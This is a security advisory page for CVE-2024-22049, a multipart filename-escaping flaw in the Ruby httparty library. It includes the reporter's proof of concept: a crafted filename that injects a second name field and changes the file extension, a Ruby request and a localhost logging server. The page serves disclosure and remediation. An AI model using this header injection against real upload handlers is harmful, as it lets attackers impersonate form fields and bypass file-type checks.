CVE-2024-22049: Httparty Httparty Has Multipart/form-data Request Tampering Vulnerability

MODERATE
Advisory Identifier: GHSA-5pq7-52mg-hr42
CVSS 6.5
CWE-472
Published
Advisory Summary

CVE-2024-22049 is a MODERATE (CVSS 6.5) httparty has multipart/form-data request tampering vulnerability (CWE-472: External Control of Assumed-Immutable Web Parameter) affecting Httparty libraries in the RubyGems ecosystem. The issue involves httparty has multipart/form-data request tampering vulnerability. Remediation is available by upgrading affected packages to version 0.21.0.

CVE-2024-22049 at a Glance

CVE Identifier CVE-2024-22049
GHSA Identifier GHSA-5pq7-52mg-hr42
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-472: External Control of Assumed-Immutable Web Parameter
Affected Product Httparty
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-22049

To remediate this vulnerability, upgrade all affected Httparty dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

httparty fixed: 0.21.0
Upgrade httparty to 0.21.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for httparty

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-22049, inspect your project dependencies for Httparty:

inspect dependencies for httparty

Analyze the terminal output to locate any version of Httparty in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.21.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-472: External Control of Assumed-Immutable Web Parameter, where the web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields. In Httparty, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty. `httparty/lib/httparty/request` > `body.rb` > `def generate_multipart` https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43 By exploiting this problem, the following attacks are possible * An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field. * Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename For example, this vulnerability can be exploited to generate the following Content-Disposition. > Normal Request example: > normal input filename: `abc.txt` > > generated normal header in multipart/form-data > `Content-Disposition: form-data; name="avatar"; filename="abc.txt"` > Malicious Request example > malicious input filename: `overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt` > > generated malicious header in multipart/form-data: > `Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"` The Abused Header has multiple name ( `avatar` & `foo` ) fields and the "filename" has been rewritten from `*.txt` to `*.sh` . These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request. I have confirmed that the attack succeeds, at least in the following frameworks * Spring (Java) * Ktor (Kotlin) * Ruby on Rails (Ruby) The cause of this problem is the lack of escaping of the `"` (Double-Quote) character in Content-Disposition > filename. WhatWG's HTML spec has an escaping requirement. https://html.spec.whatwg.org/#multipart-form-data > For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (") with `%22`. The user agent must not perform any other escapes. ### Patches As noted at the beginning of this section, encoding must be done as described in the HTML Spec. https://html.spec.whatwg.org/#multipart-form-data > For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (") with `%22`. The user agent must not perform any other escapes. Therefore, it is recommended that Content-Disposition be modified by either of the following > Before: > `Content-Disposition: attachment;filename="malicious.sh";dummy=.txt` > After: > `Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"` https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43 ``` file_name.gsub('"', '%22') ``` Also, as for `\r`, `\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK. However, since there may be omissions, it is safer to URL encode these as well, if possible. ( `\r` to `%0A` and `\d` to `%0D` ) ### PoC #### PoC Environment OS: macOS Monterey(12.3) Ruby ver: ruby 3.1.2p20 httparty ver: 0.20.0 (Python3 - HTTP Request Logging Server) ### PoC procedure (Linux or MacOS is required. This is because Windows does not allow file names containing `"` (double-quote) .) 1. Create Project ``` $ mkdir my-app $ cd my-app $ gem install httparty ``` 2. Create malicious file ``` $ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt' ``` 3. Generate Vuln code ``` $ vi example.rb ``` ``` require 'httparty' filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt' HTTParty.post('http://localhost:12345/', body: { name: 'Foo Bar', email: 'example@email.com', avatar: File.open(filename) } ) ``` 4. Run Logging Server I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture) $ vi logging.py ``` from http.server import HTTPServer from http.server import BaseHTTPRequestHandler class LoggingServer(BaseHTTPRequestHandler): def do_POST(self): self.send_response(200) self.end_headers() self.wfile.write("ok".encode("utf-8")) content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8')) self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) ip = '127.0.0.1' port = 12345 server = HTTPServer((ip, port), LoggingServer) server.serve_forever() ``` $ python logging.py 5. Run & Logging server ``` $ run example.rb ``` Return Request Header & Body: > User-Agent: Ruby > Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz > Connection: close > Host: localhost:12345 > Content-Length: 457 > > --------------------------F857UcxRc2J1zFOz > Content-Disposition: form-data; name="name" > > Foo Bar > --------------------------F857UcxRc2J1zFOz > Content-Disposition: form-data; name="email" > > example@email.com > --------------------------F857UcxRc2J1zFOz > Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt" > Content-Type: text/plain > > abc > --------------------------F857UcxRc2J1zFOz-- Content-Disposition: > Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt" * name fields is duplicate (avator & foo) * filename & extension tampering ( .txt --> .sh ) ### References 1. I also include a similar report that I previously reported to Firefox. https://bugzilla.mozilla.org/show_bug.cgi?id=1556711 2. I will post some examples of frameworks that did not have problems as reference. Golang https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144 Spring https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267 Symphony https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133 ### For more information If you have any questions or comments about this advisory: * Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)

CVE-2024-22049 Affected Httparty Versions

1 component(s)
Fixed Versions:
0.21.0
Product / Package Ecosystem Affected Versions Fixed Version
httparty
RubyGems
< 0.21.0
0.21.0

References

Frequently Asked Questions

What is CVE-2024-22049?
CVE-2024-22049 is a security vulnerability in Httparty involving httparty has multipart/form-data request tampering vulnerability under CWE-472: External Control of Assumed-Immutable Web Parameter.
Which Httparty versions are affected?
Affected versions include releases prior to 0.21.0 across affected packages: httparty.
What version fixes CVE-2024-22049?
Upgrading to 0.21.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is httparty affected?
Yes, httparty is affected in releases prior to 0.21.0. Upgrade your dependency to 0.21.0 or later.
What is the CVSS score of CVE-2024-22049?
CVE-2024-22049 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2024-22049?
CVE-2024-22049 is classified under CWE-472: External Control of Assumed-Immutable Web Parameter (The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.).
How can I check RubyGems dependencies for CVE-2024-22049?
Run the dependency tree command: 'inspect dependencies for httparty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5pq7-52mg-hr42",
  "modified" : "2024-01-05T15:32:51Z",
  "published" : "2023-01-03T13:36:46Z",
  "aliases" : [ "CVE-2024-22049" ],
  "summary" : "httparty has multipart/form-data request tampering vulnerability",
  "details" : "### Impact\nI found \"multipart/form-data request tampering vulnerability\" caused by Content-Disposition \"filename\" lack of escaping in httparty.\n\n`httparty/lib/httparty/request` > `body.rb` > `def generate_multipart`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\nBy exploiting this problem, the following attacks are possible\n\n* An attack that rewrites the \"name\" field according to the crafted file name, impersonating (overwriting) another field.\n* Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename\n\nFor example, this vulnerability can be exploited to generate the following Content-Disposition.\n\n> Normal Request example:\n> normal input filename: `abc.txt`\n> \n> generated normal header in multipart/form-data\n> `Content-Disposition: form-data; name=\"avatar\"; filename=\"abc.txt\"`\n \n> Malicious Request example\n> malicious input filename: `overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt`\n> \n> generated malicious header in multipart/form-data:\n> `Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"`\n\nThe Abused Header has multiple name ( `avatar` & `foo` ) fields and the \"filename\" has been rewritten from `*.txt` to `*.sh` .\n\nThese problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.\nI have confirmed that the attack succeeds, at least in the following frameworks\n\n * Spring (Java)\n * Ktor (Kotlin)\n * Ruby on Rails (Ruby)\n\nThe cause of this problem is the lack of escaping of the `\"` (Double-Quote) character in Content-Disposition > filename.\n\nWhatWG's HTML spec has an escaping requirement.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\n\n\n### Patches\n\nAs noted at the beginning of this section, encoding must be done as described in the HTML Spec.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\nTherefore, it is recommended that Content-Disposition be modified by either of the following\n\n> Before:\n> `Content-Disposition: attachment;filename=\"malicious.sh\";dummy=.txt`\n\n> After:\n> `Content-Disposition: attachment;filename=\"%22malicious.sh%22;dummy=.txt\"`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\n```\nfile_name.gsub('\"', '%22')\n```\n\nAlso, as for `\\r`, `\\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK.\nHowever, since there may be omissions, it is safer to URL encode these as well, if possible.\n( `\\r` to `%0A` and `\\d` to `%0D` ) \n\n### PoC\n\n#### PoC Environment\n\nOS: macOS Monterey(12.3)\nRuby ver: ruby 3.1.2p20 \nhttparty ver: 0.20.0\n(Python3 - HTTP Request Logging Server)\n\n### PoC procedure\n\n\n(Linux or MacOS is required. \nThis is because Windows does not allow file names containing `\"` (double-quote) .)\n\n1. Create Project \n```\n$ mkdir my-app\n$ cd my-app\n$ gem install httparty\n```\n\n2. Create malicious file\n\n```\n$ touch 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n```\n\n3. Generate Vuln code\n\n```\n$ vi example.rb\n```\n\n```\nrequire 'httparty'\n\nfilename = 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n\nHTTParty.post('http://localhost:12345/',\n  body: {\n    name: 'Foo Bar',\n    email: 'example@email.com',\n    avatar: File.open(filename)\n  }\n)\n```\n\n\n4. Run Logging Server\n\nI write Python code, but any method will work as long as you can see the HTTP Request Body.\n(e.g. Debugger, HTTP Logging Server, Packet Capture) \n\n\n$ vi logging.py\n```\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass LoggingServer(BaseHTTPRequestHandler):\n\n    def do_POST(self):\n        self.send_response(200)\n        self.end_headers()\n        self.wfile.write(\"ok\".encode(\"utf-8\"))\n\n        content_length = int(self.headers['Content-Length'])\n        post_data = self.rfile.read(content_length)\n        print(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\n                     str(self.path), str(self.headers), post_data.decode('utf-8'))\n        self.wfile.write(\"POST request for {}\".format(self.path).encode('utf-8'))\n\nip = '127.0.0.1'\nport = 12345\n\nserver = HTTPServer((ip, port), LoggingServer)\nserver.serve_forever()\n```\n\n$ python logging.py\n\n\n5. Run & Logging server\n\n```\n$ run example.rb\n```\n\nReturn Request Header & Body:\n\n> User-Agent: Ruby\n> Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz\n> Connection: close\n> Host: localhost:12345\n> Content-Length: 457\n> \n>  --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"name\"\n> \n> Foo Bar\n> --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"email\"\n> \n> example@email.com\n> --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n> Content-Type: text/plain\n> \n> abc\n> --------------------------F857UcxRc2J1zFOz--\n\n\nContent-Disposition:\n> Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\n* name fields is duplicate (avator & foo)\n* filename & extension tampering ( .txt --> .sh )\n\n\n\n\n### References\n\n1. I also include a similar report that I previously reported to Firefox.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1556711\n\n\n2. I will post some examples of frameworks that did not have problems as reference.\n\nGolang\nhttps://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144\n\nSpring\nhttps://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267\n\nSymphony\nhttps://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "httparty"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.20.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-22049"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jnunemaker/httparty"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2024-22049.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-472" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-01-03T13:36:46Z",
    "nvd_published_at" : null
  }
}